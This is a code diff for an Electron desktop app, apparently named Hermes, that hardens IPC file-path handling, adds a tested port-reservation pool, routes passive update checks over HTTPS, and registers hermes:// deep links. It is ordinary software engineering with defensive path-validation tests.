+  const tempDir = fs.mkdtempSync(path.join(os.tmpdir(), 'hermes-desktop-dir-'))
+  t.after(() => fs.rmSync(tempDir, { recursive: true, force: true }))
+
+  const directory = path.join(tempDir, 'project')
+  const filePath = path.join(tempDir, 'file.txt')
+  fs.mkdirSync(directory)
+  fs.writeFileSync(filePath, 'not a directory', 'utf8')
+
+  const resolved = await resolveDirectoryForIpc(directory)
+  assert.equal(resolved.resolvedPath, directory)
+  assert.equal(resolved.stat.isDirectory(), true)
+
+  await rejectsWithCode(resolveDirectoryForIpc(filePath), 'ENOTDIR')
+  await rejectsWithCode(resolveDirectoryForIpc(path.join(tempDir, 'missing')), 'ENOENT')
+  await rejectsWithCode(resolveDirectoryForIpc('\\\\?\\C:\\secret'), 'device-path')
+})
+
+test('resolveDirectoryForIpc accepts directory symlinks or junctions', async t => {
+  const tempDir = fs.mkdtempSync(path.join(os.tmpdir(), 'hermes-desktop-dir-link-'))
+  t.after(() => fs.rmSync(tempDir, { recursive: true, force: true }))
+
+  const directory = path.join(tempDir, 'actual-project')
+  const linkPath = path.join(tempDir, 'linked-project')
+  fs.mkdirSync(directory)
+
+  try {
+    fs.symlinkSync(directory, linkPath, process.platform === 'win32' ? 'junction' : 'dir')
+  } catch (error) {
+    if (error?.code === 'EPERM' || error?.code === 'EACCES') {
+      t.skip(`directory symlink creation is not permitted on this platform (${error.code})`)
+      return
+    }
+    throw error
+  }
+
+  const resolved = await resolveDirectoryForIpc(linkPath)
+  assert.equal(resolved.resolvedPath, linkPath)
+  assert.equal(resolved.stat.isDirectory(), true)
+})

apps/desktop/electron/main.cjs

@@ -22,15 +22,23 @@ const http = require('node:http')
 const https = require('node:https')
 const net = require('node:net')
 const path = require('node:path')
-const { fileURLToPath, pathToFileURL } = require('node:url')
+const { pathToFileURL } = require('node:url')
 const { execFileSync, spawn } = require('node:child_process')
 const { detectRemoteDisplay, isWindowsBinaryPathInWsl, isWslEnvironment } = require('./bootstrap-platform.cjs')
 const { runBootstrap } = require('./bootstrap-runner.cjs')
 const { buildSessionWindowUrl, createSessionWindowRegistry } = require('./session-windows.cjs')
 const { canImportHermesCli, verifyHermesCli } = require('./backend-probes.cjs')
 const { probeGatewayWebSocket } = require('./gateway-ws-probe.cjs')
+const { adoptServedDashboardToken } = require('./dashboard-token.cjs')
+const { PortPool } = require('./port-pool.cjs')
 const { serializeJsonBody, setJsonRequestHeaders } = require('./oauth-net-request.cjs')
 const { fetchMarketplaceThemes, searchMarketplaceThemes } = require('./vscode-marketplace.cjs')
+const { readDirForIpc } = require('./fs-read-dir.cjs')
+const { gitRootForIpc } = require('./git-root.cjs')
+const {
+  OFFICIAL_REPO_HTTPS_URL,
+  isOfficialSshRemote
+} = require('./update-remote.cjs')
 const {
   buildPosixCleanupScript,
   buildWindowsCleanupScript,
@@ -61,6 +69,7 @@ const {
   TEXT_PREVIEW_SOURCE_MAX_BYTES,
   encryptDesktopSecret: encryptDesktopSecretStrict,
   resolveReadableFileForIpc,
+  resolveRequestedPathForIpc,
   resolveTimeoutMs
 } = require('./hardening.cjs')
 
@@ -100,6 +109,10 @@ if (USER_DATA_OVERRIDE) {
 
 const PORT_FLOOR = 9120
 const PORT_CEILING = 9199
+// In-process port reservations that close the pickPort() TOCTOU window where
+// two concurrent backend spawns could be handed the same port. See
+// port-pool.cjs for the full rationale.
+const portPool = new PortPool(PORT_FLOOR, PORT_CEILING)
 const DEV_SERVER = process.env.HERMES_DESKTOP_DEV_SERVER
 const IS_PACKAGED = app.isPackaged
 const IS_MAC = process.platform === 'darwin'
@@ -726,7 +739,7 @@ function openExternalUrl(rawUrl) {
   if (parsed.protocol === 'file:') {
     let localPath
     try {
-      localPath = fileURLToPath(parsed.toString())
+      localPath = resolveRequestedPathForIpc(parsed.toString(), { purpose: 'Open external file' })
     } catch {
       return false
     }
@@ -1312,6 +1325,11 @@ function runGit(args, options = {}) {
 
 const firstLine = text => (text || '').split('\n').find(Boolean) || ''
 
+async function getOriginUrl(updateRoot) {
+  const origin = await runGit(['remote', 'get-url', 'origin'], { cwd: updateRoot })
+  return origin.code === 0 ? origin.stdout.trim() : ''
+}
+
 function emitUpdateProgress(payload) {
   const merged = { stage: 'idle', message: '', percent: null, error: null, ...payload, at: Date.now() }
   rememberLog(`[updates] ${merged.stage}: ${merged.message || merged.error || ''}`)
@@ -1331,7 +1349,9 @@ async function resolveHealedBranch(updateRoot, branch) {
     return branch || 'main'
   }
 
-  const probe = await runGit(['ls-remote', '--exit-code', '--heads', 'origin', branch], { cwd: updateRoot })
+  const originUrl = await getOriginUrl(updateRoot)
+  const remote = isOfficialSshRemote(originUrl) ? OFFICIAL_REPO_HTTPS_URL : 'origin'
+  const probe = await runGit(['ls-remote', '--exit-code', '--heads', remote, branch], { cwd: updateRoot })
   if (probe.code !== 2) {
     return branch
   }
@@ -1359,6 +1379,40 @@ async function checkUpdates() {
   }
 
   branch = await resolveHealedBranch(updateRoot, branch)
+  const originUrl = await getOriginUrl(updateRoot)
+  if (isOfficialSshRemote(originUrl)) {
+    const git = args => runGit(args, { cwd: updateRoot }).then(r => r.stdout.trim())
+    const [currentSha, target, dirtyStr, currentBranch] = await Promise.all([
+      git(['rev-parse', 'HEAD']),
+      runGit(['ls-remote', OFFICIAL_REPO_HTTPS_URL, `refs/heads/${branch}`], { cwd: updateRoot }),
+      git(['status', '--porcelain']),
+      git(['rev-parse', '--abbrev-ref', 'HEAD'])
+    ])
+    const targetSha = firstLine(target.stdout).split(/\s+/)[0] || ''
+    if (target.code !== 0 || !targetSha) {
+      return {
+        supported: true,
+        branch,
+        error: 'fetch-failed',
+        message: firstLine(target.stderr) || 'git ls-remote failed.',
+        hermesRoot: updateRoot,
+        fetchedAt: Date.now()
+      }
+    }
+    return {
+      supported: true,
+      branch,
+      currentBranch,
+      behind: currentSha && currentSha === targetSha ? 0 : 1,
+      currentSha,
+      targetSha,
+      commits: [],
+      dirty: dirtyStr.length > 0,
+      hermesRoot: updateRoot,
+      fetchedAt: Date.now()
+    }
+  }
+
   const fetched = await runGit(['fetch', '--quiet', 'origin', branch], { cwd: updateRoot })
   if (fetched.code !== 0) {
     return {
@@ -2404,10 +2458,11 @@ function isPortAvailable(port) {
 }
 
 async function pickPort() {
-  for (let port = PORT_FLOOR; port <= PORT_CEILING; port += 1) {
-    if (await isPortAvailable(port)) return port
+  const port = await portPool.reserve(isPortAvailable)
+  if (port === null) {
+    throw new Error(`No free localhost port in ${PORT_FLOOR}-${PORT_CEILING}`)
   }
-  throw new Error(`No free localhost port in ${PORT_FLOOR}-${PORT_CEILING}`)
+  return port
 }
 
 function fetchJson(url, token, options = {}) {
@@ -2833,10 +2888,10 @@ async function resourceBufferFromUrl(rawUrl) {
     const buffer = match[2] ? Buffer.from(encoded, 'base64') : Buffer.from(decodeURIComponent(encoded), 'utf8')
     return { buffer, mimeType }
   }
-  if (rawUrl.startsWith('file:')) {
-    const filePath = fileURLToPath(rawUrl)
-    const buffer = await fs.promises.readFile(filePath)
-    return { buffer, mimeType: mimeTypeForPath(filePath) }
+  if (/^file:/i.test(rawUrl)) {
+    const { resolvedPath } = await resolveReadableFileForIpc(rawUrl, { purpose: 'Image file' })
+    const buffer = await fs.promises.readFile(resolvedPath)
+    return { buffer, mimeType: mimeTypeForPath(resolvedPath) }
   }
 
   const parsed = new URL(rawUrl)
@@ -2914,11 +2969,13 @@ function expandUserPath(filePath) {
   return value
 }
 
-function previewFileTarget(rawTarget, baseDir) {
+async function previewFileTarget(rawTarget, baseDir) {
   const raw = String(rawTarget || '').trim()
   const base = baseDir ? path.resolve(expandUserPath(baseDir)) : resolveHermesCwd()
-  const filePath = raw.startsWith('file:') ? fileURLToPath(raw) : path.resolve(base, expandUserPath(raw))
-  let resolved = filePath
+  let resolved = resolveRequestedPathForIpc(/^file:/i.test(raw) ? raw : expandUserPath(raw), {
+    baseDir: base,
+    purpose: 'Preview target'
+  })
 
   if (directoryExists(resolved)) {
     resolved = path.join(resolved, 'index.html')
@@ -2929,6 +2986,8 @@ function previewFileTarget(rawTarget, baseDir) {
     return null
   }
 
+  ;({ resolvedPath: resolved } = await resolveReadableFileForIpc(resolved, { purpose: 'Preview target' }))
+
   const mimeType = mimeTypeForPath(resolved)
   const metadata = previewFileMetadata(resolved, mimeType)
   const isHtml = PREVIEW_HTML_EXTENSIONS.has(ext)
@@ -2974,7 +3033,7 @@ function previewUrlTarget(rawTarget) {
   }
 }
 
-function normalizePreviewTarget(rawTarget, baseDir) {
+async function normalizePreviewTarget(rawTarget, baseDir) {
   const raw = String(rawTarget || '').trim()
 
   if (!raw) {
@@ -2986,20 +3045,15 @@ function normalizePreviewTarget(rawTarget, baseDir) {
       return previewUrlTarget(raw)
     }
 
-    return previewFileTarget(raw, baseDir)
+    return await previewFileTarget(raw, baseDir)
   } catch {
     return null
   }
 }
 
-function filePathFromPreviewUrl(rawUrl) {
-  const filePath = fileURLToPath(String(rawUrl || ''))
-
-  if (!fileExists(filePath)) {
-    throw new Error('Preview file is not readable')
-  }
-
-  return filePath
+async function filePathFromPreviewUrl(rawUrl) {
+  const { resolvedPath } = await resolveReadableFileForIpc(String(rawUrl || ''), { purpose: 'Preview file' })
+  return resolvedPath
 }
 
 function sendPreviewFileChanged(payload) {
@@ -3009,8 +3063,8 @@ function sendPreviewFileChanged(payload) {
   webContents.send('hermes:preview-file-changed', payload)
 }
 
-function watchPreviewFile(rawUrl) {
-  const filePath = filePathFromPreviewUrl(rawUrl)
+async function watchPreviewFile(rawUrl) {
+  const filePath = await filePathFromPreviewUrl(rawUrl)
   const watchDir = path.dirname(filePath)
   const targetName = path.basename(filePath)
   const id = crypto.randomBytes(12).toString('base64url')
@@ -4492,9 +4546,20 @@ async function spawnPoolBackend(profile, entry) {
   // --profile wins over the inherited HERMES_HOME env (see _apply_profile_override
   // step 3 in hermes_cli/main.py), so the child re-homes to this profile.
   const dashboardArgs = ['--profile', profile, 'dashboard', '--no-open', '--host', '127.0.0.1', '--port', String(port)]
-  const backend = await ensureRuntime(resolveHermesBackend(dashboardArgs))
-  const hermesCwd = resolveHermesCwd()
-  const webDist = resolveWebDist()
+  let backend
+  let hermesCwd
+  let webDist
+  try {
+    backend = await ensureRuntime(resolveHermesBackend(dashboardArgs))
+    hermesCwd = resolveHermesCwd()
+    webDist = resolveWebDist()
+  } catch (error) {
+    // These run before the child exists / its exit handler is attached, so a
+    // throw here would otherwise leak the reservation and slowly exhaust the
+    // 9120-9199 range across switch cycles in one app session.
+    portPool.release(port)
+    throw error
+  }
 
   rememberLog(`Starting Hermes backend for profile "${profile}" via ${backend.label}`)
 
@@ -4532,11 +4597,13 @@ async function spawnPoolBackend(profile, entry) {
   child.once('error', error => {
     rememberLog(`Hermes backend for profile "${profile}" failed to start: ${error.message}`)
     backendPool.delete(profile)
+    portPool.release(port)
     rejectStart?.(error)
   })
   child.once('exit', (code, signal) => {
     rememberLog(`Hermes backend for profile "${profile}" exited (${signal || code})`)
     backendPool.delete(profile)
+    portPool.release(port)
     if (!ready) {
       rejectStart?.(
         new Error(`Hermes backend for profile "${profile}" exited before it became ready (${signal || code}).`)
@@ -4547,15 +4614,21 @@ async function spawnPoolBackend(profile, entry) {
   const baseUrl = `http://127.0.0.1:${port}`
   await Promise.race([waitForHermes(baseUrl, token), startFailed])
   ready = true
+  const authToken = await adoptServedDashboardToken(baseUrl, token, {
+    childAlive: () => child.exitCode === null && !child.killed,
+    label: `Hermes backend for profile "${profile}"`,
+    rememberLog
+  })
+  entry.token = authToken
 
   return {
     baseUrl,
     mode: 'local',
     source: 'local',
     authMode: 'token',
-    token,
+    token: authToken,
     profile,
-    wsUrl: `ws://127.0.0.1:${port}/api/ws?token=${encodeURIComponent(token)}`,
+    wsUrl: `ws://127.0.0.1:${port}/api/ws?token=${encodeURIComponent(authToken)}`,
     logs: hermesLog.slice(-80),
     ...getWindowState()
   }
@@ -4565,6 +4638,7 @@ function stopPoolBackend(profile) {
   const entry = backendPool.get(profile)
   if (!entry) return
   backendPool.delete(profile)
+  if (entry.port) portPool.release(entry.port)
   if (entry.process && !entry.process.killed) {
     try {
       entry.process.kill('SIGTERM')
@@ -4650,6 +4724,11 @@ async function startHermes() {
   }
   if (connectionPromise) return connectionPromise
 
+  // Hoisted so the outer .catch can release a port reserved by pickPort() when
+  // a throw (e.g. ensureRuntime failing) happens before the child's exit
+  // handler is attached. Stays null on the remote path (no port picked).
+  let reservedPort = null
+
   connectionPromise = (async () => {
     await advanceBootProgress('backend.resolve', 'Resolving Hermes backend', 8)
     // Resolve for the desktop's primary profile so a per-profile remote
@@ -4679,6 +4758,7 @@ async function startHermes() {
 
     await advanceBootProgress('backend.port', 'Finding an open local port', 16)
     const port = await pickPort()
+    reservedPort = port
     const token = crypto.randomBytes(32).toString('base64url')
     const dashboardArgs = ['dashboard', '--no-open', '--host', '127.0.0.1', '--port', String(port)]
     // Pin the desktop's chosen profile via the global --profile flag. This is
@@ -4743,6 +4823,7 @@ async function startHermes() {
       )
       hermesProcess = null
       connectionPromise = null
+      portPool.release(port)
       sendBackendExit({ code: null, signal: null, error: error.message })
       rejectBackendStart?.(error)
     })
@@ -4750,6 +4831,7 @@ async function startHermes() {
       rememberLog(`Hermes backend exited (${signal || code})`)
       hermesProcess = null
       connectionPromise = null
+      portPool.release(port)
       sendBackendExit({ code, signal })
       if (!backendReady) {
         const message = `Hermes backend exited before it became ready (${signal || code}).`
@@ -4774,6 +4856,11 @@ async function startHermes() {
     await advanceBootProgress('backend.wait', 'Waiting for Hermes backend to become ready', 90)
     await Promise.race([waitForHermes(baseUrl, token), backendStartFailed])
     backendReady = true
+    const authToken = await adoptServedDashboardToken(baseUrl, token, {
+      // The exit/error handlers null hermesProcess when the child dies.
+      childAlive: () => hermesProcess !== null && hermesProcess.exitCode === null && !hermesProcess.killed,
+      rememberLog
+    })
     updateBootProgress({
       phase: 'backend.ready',
       message: 'Hermes backend is ready. Finalizing desktop startup',
@@ -4787,8 +4874,8 @@ async function startHermes() {
       mode: 'local',
       source: 'local',
       authMode: 'token',
-      token,
-      wsUrl: `ws://127.0.0.1:${port}/api/ws?token=${encodeURIComponent(token)}`,
+      token: authToken,
+      wsUrl: `ws://127.0.0.1:${port}/api/ws?token=${encodeURIComponent(authToken)}`,
       logs: hermesLog.slice(-80),
       ...getWindowState()
     }
@@ -4804,6 +4891,7 @@ async function startHermes() {
       { allowDecrease: true }
     )
     connectionPromise = null
+    portPool.release(reservedPort)
     throw error
   })
 
@@ -5078,8 +5166,8 @@ ipcMain.handle('hermes:bootstrap:reset', async () => {
   // reset connection state so the next startHermes() call restarts the
   // full backend flow (including a fresh runBootstrap pass).
   rememberLog('[bootstrap] reset requested by renderer; clearing latched failure')
+  await teardownPrimaryBackendAndWait()
   bootstrapFailure = null
-  connectionPromise = null
   bootstrapState = {
     active: false,
     manifest: null,
@@ -5542,48 +5630,6 @@ ipcMain.handle('hermes:logs:reveal', async () => {
 
 ipcMain.handle('hermes:logs:recent', async () => ({ path: DESKTOP_LOG_PATH, lines: hermesLog.slice(-200) }))
 
-// Always-hidden noise (covers non-git projects too — gitignore would catch
-// these anyway when present, but we want the same hygiene without one).
-const FS_READDIR_HIDDEN = new Set([
-  '.git',
-  '.hg',
-  '.svn',
-  '.cache',
-  '.next',
-  '.turbo',
-  '.venv',
-  '__pycache__',
-  'build',
-  'dist',
-  'node_modules',
-  'target',
-  'venv'
-])
-
-function findGitRoot(start) {
-  let dir = start
-
-  for (let i = 0; i < 50; i += 1) {
-    try {
-      if (fs.existsSync(path.join(dir, '.git'))) {
-        return dir
-      }
-    } catch {
-      return null
-    }
-
-    const parent = path.dirname(dir)
-
-    if (parent === dir) {
-      return null
-    }
-
-    dir = parent
-  }
-
-  return null
-}
-
 function isExecutableFile(filePath) {
   if (!filePath || !path.isAbsolute(filePath)) {
     return false
@@ -5766,46 +5812,9 @@ function disposeTerminalSession(id) {
   return true
 }
 
-ipcMain.handle('hermes:fs:readDir', async (_event, dirPath) => {
-  const resolved = path.resolve(String(dirPath || ''))
+ipcMain.handle('hermes:fs:readDir', async (_event, dirPath) => readDirForIpc(dirPath))
 
-  if (!resolved) {
-    return { entries: [], error: 'invalid-path' }
-  }
-
-  try {
-    const dirents = await fs.promises.readdir(resolved, { withFileTypes: true })
-
-    const entries = dirents
-      .filter(d => {
-        if (FS_READDIR_HIDDEN.has(d.name)) {
-          return false
-        }
-
-        return true
-      })
-      .map(d => ({ name: d.name, path: path.join(resolved, d.name), isDirectory: d.isDirectory() }))
-      .sort((a, b) => Number(b.isDirectory) - Number(a.isDirectory) || a.name.localeCompare(b.name))
-
-    return { entries }
-  } catch (error) {
-    return { entries: [], error: error?.code || 'read-error' }
-  }
-})
-
-ipcMain.handle('hermes:fs:gitRoot', async (_event, startPath) => {
-  const input = String(startPath || '')
-  const resolved = input.startsWith('file:') ? fileURLToPath(input) : path.resolve(input)
-
-  try {
-    const stat = await fs.promises.stat(resolved)
-    const start = stat.isDirectory() ? resolved : path.dirname(resolved)
-
-    return findGitRoot(start)
-  } catch {
-    return findGitRoot(resolved)
-  }
-})
+ipcMain.handle('hermes:fs:gitRoot', async (_event, startPath) => gitRootForIpc(startPath))
 
 ipcMain.handle('hermes:terminal:start', async (event, payload = {}) => {
   if (!nodePty) {
@@ -6143,6 +6152,111 @@ ipcMain.handle('hermes:vscode-theme:fetch', async (_event, id) => fetchMarketpla
 // Search the Marketplace for color-theme extensions (empty query = top installs).
 ipcMain.handle('hermes:vscode-theme:search', async (_event, query) => searchMarketplaceThemes(String(query || ''), 20))
 
+// ---------------------------------------------------------------------------
+// hermes:// deep links (e.g. hermes://blueprint/morning-brief?time=08:00).
+// A docs/dashboard "Send to App" button opens this URL; we route it into the
+// running app's chat composer. Three delivery paths: macOS 'open-url',
+// Win/Linux running-app 'second-instance' (argv), Win/Linux cold-start argv.
+// ---------------------------------------------------------------------------
+const HERMES_PROTOCOL = 'hermes'
+let _pendingDeepLink = null
+let _rendererReadyForDeepLink = false
+
+function _extractDeepLink(argv) {
+  if (!Array.isArray(argv)) return null
+  return argv.find((a) => typeof a === 'string' && a.startsWith(`${HERMES_PROTOCOL}://`)) || null
+}
+
+function handleDeepLink(url) {
+  if (!url || typeof url !== 'string') return
+  let parsed
+  try {
+    parsed = new URL(url)
+  } catch {
+    rememberLog(`[deeplink] ignoring malformed url: ${url}`)
+    return
+  }
+  // hermes://blueprint/<key>?slot=val  -> host="blueprint", path="/<key>"
+  const kind = parsed.hostname || ''
+  const name = decodeURIComponent((parsed.pathname || '').replace(/^\//, ''))
+  const params = {}
+  parsed.searchParams.forEach((v, k) => {
+    params[k] = v
+  })
+  const payload = { kind, name, params }
+
+  if (!_rendererReadyForDeepLink || !mainWindow || mainWindow.isDestroyed()) {
+    _pendingDeepLink = payload
+    return
+  }
+  try {
+    if (mainWindow.isMinimized()) mainWindow.restore()
+    mainWindow.focus()
+    mainWindow.webContents.send('hermes:deep-link', payload)
+    rememberLog(`[deeplink] delivered ${kind}/${name}`)
+  } catch (err) {
+    rememberLog(`[deeplink] delivery failed: ${err.message}`)
+  }
+}
+
+// Renderer calls this (via IPC) once it has mounted its deep-link listener, so
+// a link that arrived during boot/install is flushed exactly once.
+ipcMain.handle('hermes:deep-link-ready', () => {
+  _rendererReadyForDeepLink = true
+  if (_pendingDeepLink) {
+    const queued = _pendingDeepLink
+    _pendingDeepLink = null
+    handleDeepLink(
+      `${HERMES_PROTOCOL}://${queued.kind}/${encodeURIComponent(queued.name)}` +
+        (Object.keys(queued.params).length
+          ? '?' + new URLSearchParams(queued.params).toString()
+          : ''),
+    )
+  }
+  return { ok: true }
+})
+
+function registerDeepLinkProtocol() {
+  try {
+    if (process.defaultApp && process.argv.length >= 2) {
+      // Dev: register with the electron exec path + entry script so the OS can
+      // relaunch us with the URL.
+      app.setAsDefaultProtocolClient(HERMES_PROTOCOL, process.execPath, [
+        path.resolve(process.argv[1]),
+      ])
+    } else {
+      app.setAsDefaultProtocolClient(HERMES_PROTOCOL)
+    }
+  } catch (err) {
+    rememberLog(`[deeplink] protocol registration failed: ${err.message}`)
+  }
+}
+
+// Single-instance lock: deep links on a running app (Win/Linux) arrive as a
+// second-instance argv. Without the lock a second `hermes://` launch spawns a
+// whole new app instead of routing into the running one.
+const _gotSingleInstanceLock = app.requestSingleInstanceLock()
+if (!_gotSingleInstanceLock) {
+  app.quit()
+} else {
+  app.on('second-instance', (_event, argv) => {
+    const url = _extractDeepLink(argv)
+    if (url) handleDeepLink(url)
+    else if (mainWindow) {
+      if (mainWindow.isMinimized()) mainWindow.restore()
+      mainWindow.focus()
+    }
+  })
+}
+
+// macOS delivers deep links via 'open-url' — register early (can fire before
+// whenReady; handleDeepLink queues until the renderer is ready).
+app.on('open-url', (event, url) => {
+  event.preventDefault()
+  handleDeepLink(url)
+})
+
+
 app.whenReady().then(() => {
   if (IS_MAC) {
     Menu.setApplicationMenu(buildApplicationMenu())
@@ -6151,11 +6265,16 @@ app.whenReady().then(() => {
   }
   installMediaPermissions()
   registerMediaProtocol()
+  registerDeepLinkProtocol()
   ensureWslWindowsFonts()
   configureSpellChecker()
   registerPowerResumeListeners()
   createWindow()
 
+  // Win/Linux cold start: the launching hermes:// URL is in our own argv.
+  const _coldStartLink = _extractDeepLink(process.argv)
+  if (_coldStartLink) handleDeepLink(_coldStartLink)
+
   app.on('activate', () => {
     // Recreate the primary window if it's gone. Guard on mainWindow directly
     // (not just total window count) so a dock click still restores the main

apps/desktop/electron/port-pool.cjs

@@ -0,0 +1,73 @@
+'use strict'
+
+/**
+ * In-process port reservation pool for the desktop backend launcher.
+ *
+ * pickPort() probes a localhost port with a throwaway server and closes it
+ * before the real bind happens in a separate Python child. Between that probe
+ * and the child's bind there is a TOCTOU window: a second concurrent spawn
+ * (the primary backend racing a pool backend) can be handed the SAME port, and
+ * one then dies with EADDRINUSE ("address already in use" -> "Object has been
+ * destroyed" boot loop). Reserving the chosen port in THIS process until the
+ * child exits closes that window.
+ *
+ * The OS bind remains the source of truth; this only deconflicts racers inside
+ * this process — it can't stop a foreign squatter, which the probe + the
+ * EADDRINUSE self-heal still cover.
+ *
+ * The pool is dependency-injected (the availability probe is passed in) and
+ * free of Electron/Node socket I/O, so it is unit-tested without real sockets
+ * (see port-pool.test.cjs).
+ */
+class PortPool {
+  /**
+   * @param {number} floor   inclusive lowest port to hand out
+   * @param {number} ceiling inclusive highest port to hand out
+   */
+  constructor(floor, ceiling) {
+    this.floor = floor
+    this.ceiling = ceiling
+    this._reserved = new Set()
+  }
+
+  /** @returns {boolean} whether `port` is currently reserved in-process. */
+  has(port) {
+    return this._reserved.has(port)
+  }
+
+  /** Release a previously reserved port. No-op if it was not reserved. */
+  release(port) {
+    this._reserved.delete(port)
+  }
+
+  /** Drop all reservations. */
+  clear() {
+    this._reserved.clear()
+  }
+
+  /** @returns {number} count of currently reserved ports. */
+  get size() {
+    return this._reserved.size
+  }
+
+  /**
+   * Reserve and return the lowest port in [floor, ceiling] that is neither
+   * already reserved in-process nor rejected by `isAvailable(port)`, or null
+   * if every port is taken. `isAvailable` may be sync (boolean) or async
+   * (Promise<boolean>); it is awaited either way.
+   *
+   * @param {(port: number) => boolean | Promise<boolean>} isAvailable
+   * @returns {Promise<number|null>}
+   */
+  async reserve(isAvailable) {
+    for (let port = this.floor; port <= this.ceiling; port += 1) {
+      if (this._reserved.has(port)) continue
+      if (!(await isAvailable(port))) continue
+      this._reserved.add(port)
+      return port
+    }
+    return null
+  }
+}
+
+module.exports = { PortPool }

apps/desktop/electron/port-pool.test.cjs

@@ -0,0 +1,77 @@
+/**
+ * Tests for electron/port-pool.cjs.
+ *
+ * Run with: node --test electron/port-pool.test.cjs
+ *
+ * PortPool is the in-process reservation that closes the pickPort() TOCTOU
+ * window. These cover selection order, skipping reserved/unavailable ports,
+ * release/reuse, exhaustion, and async probes — without real sockets.
+ */
+
+const test = require('node:test')
+const assert = require('node:assert/strict')
+
+const { PortPool } = require('./port-pool.cjs')
+
+const allFree = () => true
+
+test('reserve returns the lowest free port and reserves it', async () => {
+  const pool = new PortPool(9120, 9199)
+  const port = await pool.reserve(allFree)
+  assert.equal(port, 9120)
+  assert.ok(pool.has(9120))
+  assert.equal(pool.size, 1)
+})
+
+test('reserve skips ports already reserved in-process', async () => {
+  const pool = new PortPool(9120, 9199)
+  const first = await pool.reserve(allFree)
+  const second = await pool.reserve(allFree)
+  assert.equal(first, 9120)
+  assert.equal(second, 9121)
+})
+
+test('reserve skips ports the probe rejects', async () => {
+  const pool = new PortPool(9120, 9199)
+  const busy = new Set([9120, 9121])
+  const port = await pool.reserve(p => !busy.has(p))
+  assert.equal(port, 9122)
+})
+
+test('reserve returns null when every port is taken', async () => {
+  const pool = new PortPool(9120, 9121)
+  await pool.reserve(allFree)
+  await pool.reserve(allFree)
+  assert.equal(await pool.reserve(allFree), null)
+})
+
+test('release frees a reserved port for reuse', async () => {
+  const pool = new PortPool(9120, 9120)
+  assert.equal(await pool.reserve(allFree), 9120)
+  assert.equal(await pool.reserve(allFree), null) // exhausted
+  pool.release(9120)
+  assert.ok(!pool.has(9120))
+  assert.equal(await pool.reserve(allFree), 9120) // reusable
+})
+
+test('release is a no-op for an unreserved port', () => {
+  const pool = new PortPool(9120, 9199)
+  pool.release(9120)
+  assert.equal(pool.size, 0)
+})
+
+test('reserve awaits an async probe', async () => {
+  const pool = new PortPool(9120, 9199)
+  const busy = new Set([9120])
+  const port = await pool.reserve(p => Promise.resolve(!busy.has(p)))
+  assert.equal(port, 9121)
+})
+
+test('clear drops all reservations', async () => {
+  const pool = new PortPool(9120, 9199)
+  await pool.reserve(allFree)
+  await pool.reserve(allFree)
+  assert.equal(pool.size, 2)
+  pool.clear()
+  assert.equal(pool.size, 0)
+})

apps/desktop/electron/preload.cjs

@@ -80,6 +80,12 @@ contextBridge.exposeInMainWorld('hermesDesktop', {
     ipcRenderer.on('hermes:open-updates', listener)
     return () => ipcRenderer.removeListener('hermes:open-updates', listener)
   },
+  onDeepLink: callback => {
+    const listener = (_event, payload) => callback(payload)
+    ipcRenderer.on('hermes:deep-link', listener)
+    return () => ipcRenderer.removeListener('hermes:deep-link', listener)
+  },
+  signalDeepLinkReady: () => ipcRenderer.invoke('hermes:deep-link-ready'),
   onWindowStateChanged: callback => {
     const listener = (_event, payload) => callback(payload)
     ipcRenderer.on('hermes:window-state-changed', listener)

apps/desktop/electron/update-remote.cjs

@@ -0,0 +1,56 @@
+/**
+ * Pure helpers for choosing a remote URL during passive update checks.
+ *
+ * A public install can end up with `origin=git@github.com:NousResearch/hermes-agent.git`.
+ * If the user's GitHub SSH key is FIDO2/passkey-backed, a background `git fetch
+ * origin` triggers an unexplained hardware-touch prompt. For passive checks
+ * against the official repo we substitute the public HTTPS `ls-remote` path,
+ * which needs no auth and cannot prompt. Active update/apply flows are left
+ * unchanged.
+ *
+ * Extracted from main.cjs so the security-critical remote detection is unit
+ * testable without booting Electron (main.cjs requires('electron') at load).
+ */
+
+const OFFICIAL_REPO_HTTPS_URL = 'https://github.com/NousResearch/hermes-agent.git'
+const OFFICIAL_REPO_CANONICAL = 'github.com/nousresearch/hermes-agent'
+
+// Normalize common GitHub remote URL forms to `host/owner/repo` (lowercased,
+// no trailing slash, no .git suffix) so SSH and HTTPS forms of the same repo
+// compare equal.
+function canonicalGitHubRemote(url) {
+  if (!url) return ''
+  let value = String(url).trim()
+  if (value.startsWith('git@github.com:')) {
+    value = `github.com/${value.slice('git@github.com:'.length)}`
+  } else if (value.startsWith('ssh://git@github.com/')) {
+    value = `github.com/${value.slice('ssh://git@github.com/'.length)}`
+  } else {
+    try {
+      const parsed = new URL(value)
+      if (parsed.hostname && parsed.pathname) value = `${parsed.hostname}${parsed.pathname}`
+    } catch {
+      // Leave non-URL forms unchanged.
+    }
+  }
+  value = value.trim().replace(/\/+$/, '')
+  if (value.endsWith('.git')) value = value.slice(0, -4)
+  return value.toLowerCase()
+}
+
+function isSshRemote(url) {
+  const value = String(url || '').trim().toLowerCase()
+  return value.startsWith('git@') || value.startsWith('ssh://')
+}
+
+function isOfficialSshRemote(url) {
+  return isSshRemote(url) && canonicalGitHubRemote(url) === OFFICIAL_REPO_CANONICAL
+}
+
+module.exports = {
+  OFFICIAL_REPO_HTTPS_URL,
+  OFFICIAL_REPO_CANONICAL,
+  canonicalGitHubRemote,
+  isSshRemote,
+  isOfficialSshRemote
+}

apps/desktop/electron/update-remote.test.cjs

@@ -0,0 +1,78 @@
+/**
+ * Tests for electron/update-remote.cjs — the remote-detection helpers that
+ * keep passive update checks off the SSH origin for official installs.
+ *
+ * Run with: node --test electron/update-remote.test.cjs
+ * (Wired into npm test:desktop:platforms in package.json.)
+ *
+ * Why this matters: a public install can carry
+ * origin=git@github.com:NousResearch/hermes-agent.git. A background
+ * `git fetch origin` then authenticates over SSH and, with a FIDO2/passkey
+ * key, triggers an unexplained hardware-touch prompt. isOfficialSshRemote
+ * must reliably recognize the official SSH remote (in every URL form,
+ * case-insensitively) so the caller can swap in the anonymous HTTPS path —
+ * while NOT misclassifying forks, other hosts, or the HTTPS remote (which
+ * never prompts and should keep the normal fetch path).
+ */
+
+const test = require('node:test')
+const assert = require('node:assert/strict')
+
+const {
+  OFFICIAL_REPO_HTTPS_URL,
+  OFFICIAL_REPO_CANONICAL,
+  canonicalGitHubRemote,
+  isSshRemote,
+  isOfficialSshRemote
+} = require('./update-remote.cjs')
+
+test('canonicalGitHubRemote normalizes SSH and HTTPS forms to the same value', () => {
+  assert.equal(canonicalGitHubRemote('git@github.com:NousResearch/hermes-agent.git'), OFFICIAL_REPO_CANONICAL)
